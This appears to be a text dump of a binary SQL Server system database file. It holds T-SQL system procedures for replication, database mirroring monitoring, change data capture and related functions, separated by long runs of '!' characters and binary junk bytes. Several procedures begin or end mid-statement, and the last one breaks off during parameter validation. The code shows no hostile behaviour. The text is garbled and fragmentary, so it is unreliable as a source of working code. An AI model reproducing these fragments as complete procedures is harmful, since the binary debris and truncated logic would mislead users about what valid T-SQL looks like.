!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z`	<_("[m0i@ 8create procedure sys.sp_dbmmonitordropmonitoring 
as
begin
	set nocount on
	if (is_srvrolemember(N'sysadmin') <> 1 )
        begin
			raiserror(21089, 16, 1)
			return 1
		end

	declare @retcode int,
			@jobname nvarchar(256)

	select @jobname=isnull( formatmessage( 32047 ), N'Database Mirroring Monitor Job' )

-- Drop the jobstep
-- TO DO: get the job_id and use that to delete the job and job step.
	exec @retcode = msdb.dbo.sp_delete_jobstep @job_name = @jobname,
		@step_id = 0								-- Removes all jobsteps from job
	if ( @@error != 0 OR @retcode != 0 )
		begin
			raiserror( 32035, 16, 1 )
			-- return 1					-- TO DO: handle errors better.  check retcode to see if the object was not there.  
										-- if it wasn't there, continue.
		end

-- Drop the job
	exec @retcode = msdb.dbo.sp_delete_job @job_name = @jobname, 
		@delete_history = 1,					-- Deletes the history
		@delete_unused_schedule = 1				-- Deletes the schedule
	if ( @@error != 0 OR @retcode != 0 )
		begin
			raiserror( 32035, 16, 2 )	-- TO DO: handle errors better.  check retcode to see if the object was not there.  
										-- if it wasn't there, continue.
			return 1
		end

return 0
end
0(n `
8
--
-- Name:	
--		sp_MShelpsnapshot_agent
--			
-- Description: 
--		Displays the following information on snapshot agent:
--			id
--			name
--			publisher_security_mode
--			publisher_login
--			publisher_password
--			job_id
--			job_login
--			job_password
--			schedule_name
--			frequency_type
--			frequency_interval
--			frequency_subday_type
--			frequency_subday_interval
--			frequency_relative_interval
--			frequency_recurrence_factor
--			active_start_date
--			active_end_date
--			active_start_time
--			active_end_time
--
-- Security: 
--		SA
-- Requires Certificate signature for catalog access
--
-- Returns: 	
--		0 : success
--		1 : failure 		 
--

CREATE PROCEDURE sys.sp_MShelpsnapshot_agent
(
	@publisher		sysname,
	@publisher_db	sysname,
	@publication	sysname
)
AS
BEGIN
	DECLARE @publisher_id int

	-- Security Check: require sysadmin
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN 1
	END

	-- database must be distribution db
	IF sys.fn_MSrepl_isdistdb(DB_NAME()) <> 1
	BEGIN
		RAISERROR (21482, 16, -1, 'sp_MShelpsnapshot_agent', 'distribution')
		RETURN (1)
	END

	SELECT @publisher_id = server_id
		FROM sys.servers
		WHERE UPPER(name) = UPPER(@publisher)

	SELECT mssa.id, 
			mssa.name,
			mssa.publisher_security_mode,
			mssa.publisher_login,
			N'**********' as [publisher_password],
			sjb.job_id,
			sc.credential_identity as [job_login],
			N'**********' as [job_password],
			ss.name as [schedule_name],
			ss.freq_type as [frequency_type],
			ss.freq_interval as [frequency_interval],
			ss.freq_subday_type as [frequency_subday_type],
			ss.freq_subday_interval as [frequency_subday_interval],
			ss.freq_relative_interval as [frequency_relative_interval],
			ss.freq_recurrence_factor as [frequency_recurrence_factor],
			ss.active_start_date,
			ss.active_end_date,
			ss.active_start_time,
			ss.active_end_time
		FROM MSsnapshot_agents mssa
				JOIN msdb..sysjobs sjb
					ON convert(uniqueidentifier, mssa.job_id) = sjb.job_id
				LEFT JOIN msdb..sysjobsteps sj
					ON mssa.job_step_uid = sj.step_uid
				LEFT JOIN msdb..sysproxies sp
					ON sj.proxy_id = sp.proxy_id
				LEFT JOIN sys.credentials sc
					ON sp.credential_id = sc.credential_id
				LEFT JOIN msdb..sysjobschedules sjs
					ON sjs.job_id = sjb.job_id
				LEFT JOIN msdb..sysschedules ss
					ON ss.schedule_id = sjs.schedule_id
		WHERE mssa.publisher_id = @publisher_id
			AND mssa.publisher_db = @publisher_db
			AND mssa.publication = @publication

	RETURN 0
END
,@maxschemaguidforarticle) +  ''''

    select @spcall = @spcall + ', @type = 6 '
    
    exec @retcode = sys.sp_executesql @stmt = @spcall
        ,@params = N'@p1 int output'
        ,@p1 = @spretcode output
    IF @@error<>0 or @retcode<>0 or @spretcode != 0 
        return 1
    
    -- SQL2000 and lower agents pass @show_filtering_columns as 0. 
    if @show_filtering_columns = 1
    begin
        select @nickname = nickname from dbo.sysmergearticles
        where pubid = @pubid 
        and artid = @artid
        
        exec @retcode = sys.sp_MSgetfilteringcolumns @pubid = @pubid, @nickname = @nickname
        if @@error <> 0 or @retcode <> 0
            return 1
    end
    
    return 0

0͘ 8 
-- add it
create view sys.dm_pdw_diag_processing_stats as
select
	pdw_node_id,
	process_id,
	target_name	collate database_default target_name,
	queue_size,
	lost_events_count
from sys._dm_pdw_diag_processing_stats
0#hn 8create procedure sys.sp_MSupdatepeerlsn
(
	@originator					sysname,
	@originator_db				sysname,
	@originator_publication_id		int,
	@originator_db_version		int,
	@originator_lsn				varbinary(10)					
)
as
begin
	declare @retcode 		bit,
			@error			int,
			@rows_affected	int
	
	-- security check for subscriber
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or  @retcode <> 0 
    begin
        return 1
    end

	begin transaction tran_sp_MSupdatepeerlsn
	save transaction tran_sp_MSupdatepeerlsn
	
	-- update the peer_lsn
	update MSpeer_lsns
		set last_updated 	= getdate(),
			originator_lsn 	= @originator_lsn
		from MSpeer_lsns with (index(uci_MSpeer_lsns))
		where originator					= UPPER(@originator)
			and originator_db 				= @originator_db
			and originator_publication_id	= @originator_publication_id 
			and originator_db_version		= @originator_db_version
			and originator_lsn				<= @originator_lsn

	-- cache the row count and error
	select @rows_affected 	= @@rowcount,
			@error			= @@error

	-- if we hit an error let the user know and exit
	if @error <> 0
	begin
		goto FAILURE
	end

	-- if row count is 0 then we know we are not a peer and the subcription is not found.
	if @rows_affected <> 1
	begin
		declare @pub_id varchar(10)

		select @pub_id = cast(@originator_publication_id as varchar)

		-- No peers were found for %s:%s:%s.
		raiserror(20807, 16, -1, @originator, @originator_db, @pub_id)
		goto FAILURE
	end

	commit transaction tran_sp_MSupdatepeerlsn
	
	return 0
FAILURE:
	rollback transaction tran_sp_MSupdatepeerlsn
	commit transaction tran_sp_MSupdatepeerlsn

	-- The procedure sys.sp_MSupdatepeerlsn failed to UPDATE the resource MSpeer_lsns. Server error =  0.
	raiserror (21499, 16, -1, 'sys.sp_MSupdatepeerlsn', 'UPDATE', 'MSpeer_lsns.', @error)

	
	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!{
==`z<m&0$M@ 8create procedure sys.sp_adddistpublisher
(
    @publisher				sysname,
    @distribution_db		sysname,
    @security_mode			int = 1,
    @login					sysname = NULL,
    @password				sysname = NULL,
    @working_directory		nvarchar(255) = NULL,
    @trusted				nvarchar(5) = 'false',
    @encrypted_password		bit = 0,
    @thirdparty_flag		bit = 0,
    @publisher_type			sysname = N'MSSQLSERVER'
)
AS
BEGIN
	DECLARE @cmd		nvarchar(4000)
	DECLARE @retcode	int

	SET @retcode = 0
	SET @cmd = N''

	-- DEPRECATED PARAMETER: @trusted
	-- For security reasons, @trusted is no longer supported.
	-- Implicitly, it must always be @trusted == false.  If
	-- anything other than false is supplied, an error is thrown.
    IF LOWER(@trusted collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('false')
	BEGIN
		RAISERROR(21698, 16, -1, '@trusted')
		RETURN (1)
	END
	
	-- Check if HREPL
	IF NOT @publisher_type = N'MSSQLSERVER'
	BEGIN
		SET @cmd = @cmd + QUOTENAME(@distribution_db) + N'.'
	END

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_adddistpublisher'
	
	EXEC @retcode = @cmd
					@publisher,
					@distribution_db,
					@security_mode,
					@login,
					@password,
					@working_directory,
					@trusted,
					@encrypted_password,
					@thirdparty_flag,
					@publisher_type

	RETURN (@retcode)
END
0W P8#h">#sA0F  <8--
-- Name:	
--		fn_MSrepltranparsecmdtype
--			
-- Description: 
--		The function takes in a ins, upd or del article
--		command	and if valid returns one of the following:
--			N'', N'NONE', N'SQL', N'CALL ', N'XCALL', N'MCALL', N'VCALL', N'SCALL'
--
--		If the command is invalid then it returns NULL.
--
-- Security: 
--		DBO of publisher db
--
-- Returns: 	
--		nvarchar(255)
--
CREATE FUNCTION sys.fn_MSrepltranparsecmdtype
(
	@command nvarchar(255)
)
RETURNS nvarchar(255)
AS
BEGIN
	DECLARE @command_type sysname

	SELECT @command			= UPPER(LTRIM(RTRIM(@command)))
	SELECT @command_type	= LEFT(@command, 5)
	
	-- for N'', N'NONE', N'SQL' we expect a direct match and 
	-- thus we use the @command instead of @command_type ...
	IF @command in (N'', N'NONE', N'SQL')
	BEGIN
		RETURN @command
	END

	-- if call is specified then there must be at least 6
	-- chars in @command (needs an sp name following type)
	IF @command_type = N'CALL '
		AND LEN(@command) >= 6
	BEGIN
		RETURN @command_type
	END

	-- if call is specified then there must be at least 7
	-- chars in @command (needs an sp name following type)
	IF @command_type IN (N'XCALL', N'MCALL', N'VCALL', N'SCALL')
		AND LEN(@command) >= 7
	BEGIN
		RETURN @command_type
	END

	RETURN NULL
END
0## Q8create function [sys].[fn_cdc_is_range_valid]				
(														
	@from_lsn	binary(10),
	@to_lsn		binary(10),
	@capture_instance sysname						
)
returns bit
with execute as 'dbo'														
as													
begin
	declare @max_lsn binary(10)
		
	if @from_lsn is null or @to_lsn is null or @capture_instance is null
	begin
		return 0
	end
		
	if @from_lsn > @to_lsn
	begin
		return 0
	end		

	select @max_lsn = max(start_lsn)
	from [cdc].[lsn_time_mapping]
		
	if @max_lsn is null
	begin
		return 0
	end		

	if exists
	(
		select start_lsn
		from [cdc].[change_tables] WITH (REPEATABLEREAD) 
		where capture_instance = rtrim(@capture_instance)
		and  (@from_lsn >= start_lsn)
		and  (@to_lsn   <= @max_lsn)
	)
	begin
		return 1
	end

	return 0							
end																
0 A8

create procedure sys.sp_MSchangeobjectowner(
    @tablename sysname,
    @dest_owner    sysname
)AS
    declare @uid         smallint
    declare @retcode    int
    
    -- Security check
    exec @retcode= sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
    begin
        raiserror(15247, 11, -1)
        return (1)
    end

    select @uid=schema_id from sys.objects where name=@tablename

    --do not bother to call sp_changeobjectowner the object is owned by the @dest_owner itself
    if SCHEMA_NAME(@uid)=@dest_owner
        return(0)
    exec @retcode=sys.sp_changeobjectowner @tablename, @dest_owner
    if @@ERROR<>0 or @retcode<>0
    begin
        raiserror(21346, 16, -1, @tablename, @dest_owner)
        return (1)
    end
    return(0)    
0@ 8
create procedure sys.sp_MSenumschemachange(
    @pubid              uniqueidentifier,
    @schemaversion      int,
    @compatlevel        int = 7000000, -- default=SPHINX
    @AlterTableOnly     bit = 0,
    @invalidateupload_schemachanges_for_ssce bit = 0,
    @filter_skipped_schemachanges bit = 0
    )
as  
begin
    set nocount on
    declare @retcode int

    select @retcode = 0
    
    if ({ fn ISPALUSER(@pubid) } <> 1)
    begin
        RAISERROR (14126, 11, -1)
        return (1)
    end

    -- Delegate call to the appropriate sp that
    -- handles the given compatibility-level  
    
    if @compatlevel >= 10000000
    begin
        exec @retcode = sys.sp_MSenumschemachange_100 @pubid = @pubid,
                                                     @AlterTableOnly = @AlterTableOnly,
                                                     @schemaversion = @schemaversion,
                                                     @invalidateupload_schemachanges_for_ssce = @invalidateupload_schemachanges_for_ssce,
                                                     @filter_skipped_schemachanges = @filter_skipped_schemachanges
                                                     
    end
    else if @compatlevel >= 9000000
    begin
        exec @retcode = sys.sp_MSenumschemachange_90 @pubid = @pubid,
                                                     @AlterTableOnly = @AlterTableOnly,
                                                     @schemaversion = @schemaversion,
                                                     @invalidateupload_schemachanges_for_ssce = @invalidateupload_schemachanges_for_ssce,
                                                     @filter_skipped_schemachanges = @filter_skipped_schemachanges
                                                     
    end
    else if @compatlevel >= 8000500 -- this value stands for 80sp3 
    begin
        exec @retcode = sp_MSenumschemachange_80sp3 @pubid = @pubid, 
                                                                                            @AlterTableOnly = @AlterTableOnly,
                                                    @schemaversion = @schemaversion

    end    
    else if @compatlevel > 7000200 --this value standing for 70SP2
    begin
        exec @retcode = sys.sp_MSenumschemachange_80 @pubid = @pubid, 
                                                     @AlterTableOnly = @AlterTableOnly,
                                                     @schemaversion = @schemaversion
    end
    else
    begin
        exec @retcode = sys.sp_MSenumschemachange_70 @pubid = @pubid,
                                                     @AlterTableOnly = @AlterTableOnly,
                                                     @schemaversion = @schemaversion,
                                                     @compatlevel=@compatlevel
    end

    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L`<( LavcNons
    --
    if (@repl_freq = 1)
    begin
        raiserror(21515, 16, -1, @publication) 
        return 1
    end
    --
    -- get destination proc name, the format stored inside sysarticles: XXXX [dbo].[xxxxxxxx]
    --
    select @dest_proc = case @format 
			                when @callformat then substring( @ins_cmd, 6, len( @ins_cmd ) - 4 )
			                when @scallformat then substring( @ins_cmd, 7, len( @ins_cmd ) - 5 )
		                 end

    --in ccs reconcile mode we can no longer use ;2 as proc name, append something to the end to make it *unique*
    select @dest_proc = case @mode when @regularmode then @dest_proc
                                    else substring(@dest_proc, 1, len( @dest_proc ) -1 ) + N'_msrepl_ccs]'
                                    end
    select @unquoted_proc_name = parsename(@dest_proc, 1)
    --
    -- script the dropping and creation of the proc
    --
    select @cmd = N'if object_id(N''' + sys.fn_replreplacesinglequote(@dest_proc) collate database_default + N''', ''P'') <> 0 
                                        drop proc ' + @dest_proc
    insert into #proctext(procedure_text) values( @cmd )

    --only keep custom procs in MSreplication_objects for easier cleanup, ccs rec procs are cleaned up by logreader so no need for this
    if(@mode = @regularmode)
    begin
        insert into #proctext(procedure_text) values( N'go' )
        select @cmd = N'if object_id(N''dbo.MSreplication_objects'') is not null 
                                    delete from dbo.MSreplication_objects where object_name = N''' + sys.fn_replreplacesinglequote(@unquoted_proc_name) collate database_default + N''''
        insert into #proctext(procedure_text) values( @cmd )
    end
    --
    --droponly is used by ccs to drop reconciliation proc at the time sync_done token is posted
    --
    if (@mode = @droponly)
        goto DROPONLY

    insert into #proctext(procedure_text) values( N'go' )
    insert into #proctext( procedure_text ) values (  N'create procedure ' + @dest_proc + N' ')

    --
    -- construct parameter list
    --
    select @art_col = 1
            ,@spacer = N' '
            ,@cmd = N' '
    --
    -- prepare cursor based on publisher type
    --
    if (@publishertype = @pubtypemssqlserver)
    begin
        declare hccolid cursor local fast_forward for 
            select column_id from sys.columns where object_id = @src_objid order by column_id asc
    end
    else
    begin
        declare hccolid cursor local fast_forward for 
            select colid from IHsyscolumns where id = @src_objid order by colorder asc
    end
    open hccolid
    fetch hccolid into @this_col
    while (@@fetch_status != -1)
    begin
        if (@publishertype = @pubtypemssqlserver)
            select @isvalidcolumn = case when exists (select name from sys.columns where object_id=@src_objid and @this_col=column_id and is_computed<>1) then 1 else 0 end
        else
            select @isvalidcolumn = case when exists (select name from IHsyscolumns where id=@src_objid and @this_col=colid ) then 1 else 0 end
        
        --
        -- is the column marked for replication
        --  is the column valid
        --
        if @isvalidcolumn = 0
        begin
            if @mode = @reconciliationmode
                exec @isset = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype
            else
                set @isset = 0
        end
        else
        begin
            exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
        end

        if @isset = 1
        begin
            --
            -- processing a column marked for replication and it is not computed
            --
            select @typestring = sys.fn_gettypestring (@src_objid, @this_col, @publishertype, @userdefinedtypestobasetypes, @xmltontext, @maxtypestomatchingnonmaxtypes, @maptimestamp, @newdatetimetypestostrings, @hierarchyidtovarbinarymax, @largeuserdefinedtypestovarbinarymax, @spatialtypestovarbinarymax)
            select @cmd = @cmd + @spacer + N'@c' + convert( nvarchar(10), @art_col ) + N' ' + @typestring 

			if @format = @scallformat
            begin
				select @cmd = @cmd + ' = null'
            end

            select @art_col = @art_col + 1
                    ,@spacer = N','
            --
            -- flush command as necessary
            --
            if len( @cmd ) > 3000
            begin
                insert into #proctext(procedure_text) values( @cmd )
                select @cmd = N' '
            end
        end -- column marked for replication and not computed
        fetch hccolid into @this_col
    end -- while cursor block
    close hccolid
    deallocate hccolid
    insert into #proctext(procedure_text) values( @cmd )
    insert into #proctext(procedure_text) values( N'as ')
    insert into #proctext(procedure_text) values( N'begin ')
    --
    -- Regular Mode
    --
    -- The scripting is simple for general tran article (insert statement).
    -- For updating subscriber article - there is a possibility that the row
    -- already exists - we will add a row_does_not_exist check :
    -- if not exists (select * from [table] where [column1] = @c1)
    -- begin
    --      insert statement
    -- end
    --
    --  
    -- Snapshot Reconciliation Mode
    --
    -- The scripting is done as follows
    -- if exists (select * from [table] where [column1] = @c1)
    -- begin
    --      update statement                                   
    -- end
    -- else
    -- begin
    --      insert statement
    -- end
    --
    -- we will script an update if the row already exists.
    -- If we are replicating only PK columns, then the update is a noop. 
    --
    --
    -- continue processing based on the mode
    --
    if (@mode = @regularmode)
    begin
        --
        -- regular mode
        --
        if (@updsub_check = 1)
        begin
            --
            -- updating subscriber article
            -- script out the if not row exists clause
            --
            insert into #proctext(procedure_text) values (N'if not exists (select * from ' + @dest_owner + quotename(@dest_tabname) + N' ')
            exec @rc = sp_replscriptuniquekeywhereclause @tabid = @src_objid
                                                        ,@artid = @artid
                                                        ,@prefix = '@c' 
                                                        ,@mode = 1
                                                        ,@skipindexesonudtcolumns = @userdefinedtypestobasetypes

            if (@@error != 0 or @rc != 0)
                return 1
            insert into #proctext(procedure_text) values( N')' )
            insert into #proctext(procedure_text) values (N'begin')
        end -- end (@updsub_check = 1)
    end -- end regular mode
    else
    begin
        --
        -- reconciliation mode
        -- scripting for if the row already exists, apply as update
        --
        insert into #proctext(procedure_text) 
            values( N'if exists ( select * from ' + @dest_owner + quotename(@dest_tabname) )
        exec sys.sp_scriptreconwhereclause @src_objid, @artid, @publishertype
        insert into #proctext(procedure_text) values( N')' )
        insert into #proctext(procedure_text) values (N'begin')
        --
        -- Check if we are replicating PK columns only
        --
        exec @isallreplcolpk = sys.sp_MSisallreplcolpk @artid, @publishertype

        if @isallreplcolpk = 0 
        begin
            --
            -- replicating non PK columns as well
            -- construct update 
            --
            select @art_col = 1
                    ,@spacer = N' '
            insert into #proctext(procedure_text) values( N'update ' + @dest_owner + quotename(@dest_tabname) + N' set!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(!L(vcN ' )
            if (@publishertype = @pubtypemssqlserver)
            begin
                declare hccolid cursor local fast_forward for 
                    select column_id, name from sys.columns where object_id = @src_objid order by column_id asc
            end
            else
            begin
                declare hccolid cursor local fast_forward for 
                    select colid, name from IHsyscolumns where id = @src_objid order by colorder asc
            end
            open hccolid
            fetch hccolid into @this_col, @colname
            while (@@fetch_status != -1)
            begin
                --
                -- is the column marked for replication
                --  is the column valid
                --
                exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
                if (@publishertype = @pubtypemssqlserver)
                    select @isvalidcolumn = case when exists (select name from sys.columns where object_id=@src_objid and @this_col=column_id and is_computed<>1) then 1 else 0 end
                else
                    select @isvalidcolumn = case when exists (select name from IHsyscolumns where id=@src_objid and @this_col=colid ) then 1 else 0 end

                if @isset = 1 and @isvalidcolumn = 1
                begin
                    --
                    -- processing a column marked for replication and it is not computed
                    --
                    exec @isset = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype

                    if @isset = 0
                    begin
                        --
                        -- not a PK column - check if we have a identity column that is being scripted as identity
                        -- we have to skip these identity columns
                        --
                        if not (@fscriptidentity = 1 and @publishertype = @pubtypemssqlserver and
                            columnproperty(@src_objid, @colname, 'IsIdentity') = 1)
                        begin
                            --
                            -- not a PK column and not a column scripted as identity 
                            --
                            insert into #proctext(procedure_text) values(@spacer + quotename(@colname) + N' = @c' + convert( nvarchar(10), @art_col ))
                            select @spacer = N','
                        end
                    end -- end not a PK column
                    select @art_col = @art_col + 1
                end -- column marked for replication and not computed
                else if @isset = 1 and @isvalidcolumn = 0
                begin
                    exec @isset = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype
                    if @isset = 1
                    begin
                        select @art_col = @art_col + 1
                    end
                end
                fetch hccolid into @this_col, @colname
            end -- end while cursor block
            close hccolid
            deallocate hccolid
            exec sys.sp_scriptreconwhereclause @src_objid, @artid, @publishertype
        end -- replicating non PK columns as well
        else 
        begin
            --
            -- all article columns are included in the PK, & PK already exists, do nothing
            --
            insert into #proctext(procedure_text ) values( N'return' )
        end -- replicating only PK columns
        --
        -- continue scripting
        --
        insert into #proctext(procedure_text) values (N'end')
        insert into #proctext(procedure_text) values (N'else')
        insert into #proctext(procedure_text) values (N'begin')
    end -- end reconciliation mode
    --
    -- More preparation for insert statement
    -- Generate strings for col names and variables
    --
    select @art_col = 0
            ,@spacer = N' '
    if (@publishertype = @pubtypemssqlserver)
    begin
        declare hccolid cursor local fast_forward for 
            select column_id, name from sys.columns where object_id = @src_objid order by column_id asc
    end
    else
    begin
        declare hccolid cursor local fast_forward for 
            select colid, name from IHsyscolumns where id = @src_objid order by colorder asc
    end
    open hccolid
    fetch hccolid into @this_col, @colname
    while (@@fetch_status != -1)
    begin
        --
        -- is the column marked for replication
        --  is the column valid
        --
        exec @isset = sys.sp_isarticlecolbitset @this_col, @artid, @publishertype
        if (@publishertype = @pubtypemssqlserver)
            select @isvalidcolumn = case when exists (select name from sys.columns where object_id=@src_objid and @this_col=column_id and is_computed<>1) then 1 else 0 end
        else
            select @isvalidcolumn = case when exists (select name from IHsyscolumns where id=@src_objid and @this_col=colid ) then 1 else 0 end
        if @isset = 1  and @isvalidcolumn = 1
        begin
            --
            -- column marked for replication and it is not computed
            --
            select @art_col = @art_col + 1
            insert into #collisttab(procedure_text, collist) values( @spacer + quotename(@colname), 1 )
            insert into #collisttab(procedure_text, collist) values( @spacer + N'@c' + cast(@art_col as nvarchar(10)), 0 )
            select @spacer = N','
        end --  column marked for replication and not computed
        else if @isset = 1 and @isvalidcolumn = 0 and @mode = @reconciliationmode
        begin
            -- Increment the column\parameter counter if this is a computed
            -- primary key column
            exec @isset = sys.sp_MSiscolpk @src_objid, @this_col, @publishertype
            if @isset = 1
                set @art_col = @art_col + 1
        end
        fetch hccolid into @this_col, @colname
    end -- end while cursor block
    close hccolid
    deallocate hccolid
    --
    -- set identity_insert on
    --
    if @identity_insert = 1
    begin
        insert into #proctext(procedure_text) values( N'set identity_insert ' + @dest_owner + quotename(@dest_tabname) + ' on' )
    end
    --
    -- script the insert statement now
    --
    insert into #proctext(procedure_text) values(N'insert into ' +  @dest_owner + quotename(@dest_tabname)  + N'( ' )
    insert into #proctext(procedure_text) 
        select procedure_text from #collisttab where collist = 1 order by c1 asc
    insert into #proctext(procedure_text) values( N' )' )
    --
    -- script the values() clause
    --
    if (@art_col > 0)
    begin
        insert into #proctext(procedure_text) values( N'values ( ' )
        insert into #proctext(procedure_text) 
            select procedure_text from #collisttab where collist = 0 order by c1 asc
        insert into #proctext(procedure_text) values( N' ) ')
    end
    drop table #collisttab
    --
    -- set identity_insert off
    --
    if @identity_insert = 1
    begin
        insert into #proctext(procedure_text) values( N'set identity_insert ' + @dest_owner + quotename(@dest_tabname) + ' off' )
    end
    --
    -- continue scripting
    --
    if (@mode = @regularmode)
    begin
        --
        -- regular scripting
        --
        if (@updsub_check = 1)
            insert into #proctext(procedure_text) values( 'end')
    end
    else
    begin
        --
        -- reconciliation scripting
        --
        insert into #proctext(procedure_text) values (N'end')
    end
    --
    -- end scripting
    --
    insert into #proctext(procedure_text) values (N'end')
    --
    -- script the inserting of proc entry in MSreplication_objects now that proc is created
    --
    --only keep custom procs in MSreplication_objects for easier cleanup, ccs rec procs are cleaned !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<("VM!Źv#create procedure sys.sp_scriptdelproccore 
(
    @artid int                  -- id of the article we are processing
    ,@format tinyint         -- 1 = CALL, 3 = XCALL, 4 = VCALL
    ,@mode tinyint          -- 1 = regular scripting, 2 = snapshot reconciliation scripting, 3 = drop reconciliation procs only
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname = NULL		-- is only non-NULL if @publishertype = 2
    ,@usesqlclr bit=1
)
as
begin
    declare @cmd          nvarchar(4000)
        ,@dest_owner   nvarchar(255)
		 ,@dest_tabname sysname
        ,@src_objid    int
        ,@del_cmd      nvarchar(255)
        ,@dest_proc    nvarchar(524)
        ,@this_col     int
        ,@art_col      int
        ,@isset        int
        ,@isvalidcolumn tinyint
        ,@pubid        int
        ,@typestring   nvarchar(255)
        ,@colname sysname
        ,@spacer       nvarchar(10)
        ,@updsub_check bit
        ,@qwhere_string nvarchar(4000)
        ,@commandprefix nvarchar(5)
        ,@repl_freq tinyint
        ,@publication sysname
        ,@userdefinedtypestobasetypes bit
        ,@xmltontext bit
        ,@maxtypestomatchingnonmaxtypes bit
        ,@newdatetimetypestostrings bit
        ,@hierarchyidtovarbinarymax bit
        ,@largeuserdefinedtypestovarbinarymax bit
        ,@spatialtypestovarbinarymax bit
        ,@schema_option bigint
        ,@maptimestamp bit
        ,@article sysname
        ,@unquoted_proc_name sysname

    --
    -- constants
    --
        ,@callformat tinyint
        ,@xcallformat tinyint
        ,@vcallformat tinyint
        ,@regularmode tinyint
        ,@reconciliationmode tinyint 
        ,@droponly tinyint
        ,@pubtypemssqlserver tinyint
        ,@pubtypeheterogeneous tinyint

    --
    -- initialize
    --
    set nocount on
    select @callformat = 1
            ,@xcallformat = 3
            ,@vcallformat = 4
            ,@regularmode = 1
            ,@reconciliationmode = 2
            ,@droponly = 3
            ,@pubtypemssqlserver = 1
            ,@pubtypeheterogeneous = 2
            ,@maptimestamp = 1
            ,@hierarchyidtovarbinarymax = 0
            ,@largeuserdefinedtypestovarbinarymax = 0
            ,@spatialtypestovarbinarymax = 0
            ,@article = NULL
            ,@userdefinedtypestobasetypes = 0
            ,@xmltontext = 0
            ,@maxtypestomatchingnonmaxtypes = 0
            ,@newdatetimetypestostrings = 0

    --
    -- validate @artid
    --
    if not exists( select * from sysarticles where artid = @artid AND (type & 1) = 1 )
    begin
        raiserror (14155, 16, 1 )
        return 1
    end
    --
    -- validate @format
    --
    if (@format not in (@callformat, @xcallformat, @vcallformat))
    begin
        raiserror(21402, 16, 8, '@format')
        return (1)
    end
    --
    -- validate @mode
    --
    if (@mode not in (@regularmode, @reconciliationmode, @droponly))
    begin
        raiserror(21402, 16, 9, '@mode')
        return (1)
    end
    --
    -- validate @publishertype
    --
